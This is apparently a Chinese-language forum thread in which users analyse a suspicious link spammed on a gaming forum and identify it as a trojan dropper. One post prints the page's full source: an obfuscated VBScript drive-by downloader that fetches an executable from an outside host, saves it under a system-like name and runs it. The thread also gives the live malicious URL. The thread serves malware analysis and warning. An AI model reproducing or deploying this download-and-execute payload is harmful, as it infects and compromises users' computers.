這個網頁內是否含有木馬？

[哈啦]

我在我的一個遊戲論壇上發現有許多不同的大陸ID發表一些看似正常的文章，但卻附了一個奇怪的連結，連過去其實一片空白，可是原始碼內卻有奇怪的東西。我懷疑是用來盜帳號的木馬，不知哪位可以判斷一下？

我不知有無風險，我連過去時只看到空白，我裝的卡巴斯未示警，而微軟的defender似乎也沒什麼動作。


好奇的人請自行參酌風險。
http://www.78xian.com/t1/os.htm

剛才又發現一個新註冊者才貼一篇文章，所附的連結網頁就有木馬，卡巴斯基嚎叫了一聲！真是什麼年頭？

[kuer]

呵呵，是一個JS腳本，第三行不就告訴了答案，是下載一個281KB的文檔，是一個自解壓縮包，執行會打開一張正常的圖片，并送一衹木馬

[哈啦]

這是那個網頁的原始檔，請問這裡面是幹什麼的？
哪個是木馬？

<html>
<script language="VBScript">
on error resume next
'1
dl ="http://www.78xian.com/t1/svchos.exe"
'1
Set df = document.createElement("object")
'1
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
'1
str="Microsoft.XMLHTTP"
'1
Set x = df.CreateObject(str,"")
'1
a1="Adodb."
a4="Stream"
'1
str1=a1&a4
str5=str1
'1
set S = df.createobject(str5,"")
'1
S.type = 1
str6="GET"
'1
x.Open str6, dl, False
x.Send
'1
fname1="userinit.exe"
'1
set F = df.createobject("Scripting.FileSystemObject","")
'1
set tmp = F.GetSpecialFolder(2)
'1
fname1= F.BuildPath(tmp,fname1)
'1
S.open
'1
S.write x.responseBody
'1
S.savetofile fname1,2
'1
S.close
'1
set Q = df.createobject("Shell.Application","")
'2
Q.ShellExecute fname1,"",""
'1

</script></html>

[kapar]

應該是這一段吧, 不過我想應該沒人想冒險去裝吧..~cici


dl ="http://www.78xian.com/t1/svchos.exe"


也可以參可這邊的文章說明
http://www.ithome.com.tw/plog/index.php?op=ViewArticle&articleId=2903&blogId=484

[哈啦]

應該是這一段吧, 不過我想應該沒人想冒險去裝吧..~cici


dl ="http://www.78xian.com/t1/svchos.exe"


也可以參可這邊的文章說明
[URL="http://www.ithome.com.tw/plog/index.php?op=ViewArticle&articleId=2903&blogId=484"]http://www.ithome.com.tw/plog/index.php?op=ViewArticle&articleId=2903&am...

感謝提供相關訊息。~yes

[shenghong]

請問前輩是否可以推薦Server用的防毒軟體
目前用江民,想換nod32或sophos...
不知道好不好用?
謝謝^^

[kuer]

應該是這一段吧, 不過我想應該沒人想冒險去裝吧..~cici


dl ="http://www.78xian.com/t1/svchos.exe"


也可以參可這邊的文章說明
[URL="http://www.ithome.com.tw/plog/index.php?op=ViewArticle&articleId=2903&blogId=484"]http://www.ithome.com.tw/plog/index.php?op=ViewArticle&articleId=2903&am...

就是這一段，你給的文章沒有用的，文章是说正常的svchost.exe，这个是svchos.exe，属于Typo　～并且这个只是一个自解压档，真正起作用的是winlogin.exe这个文檔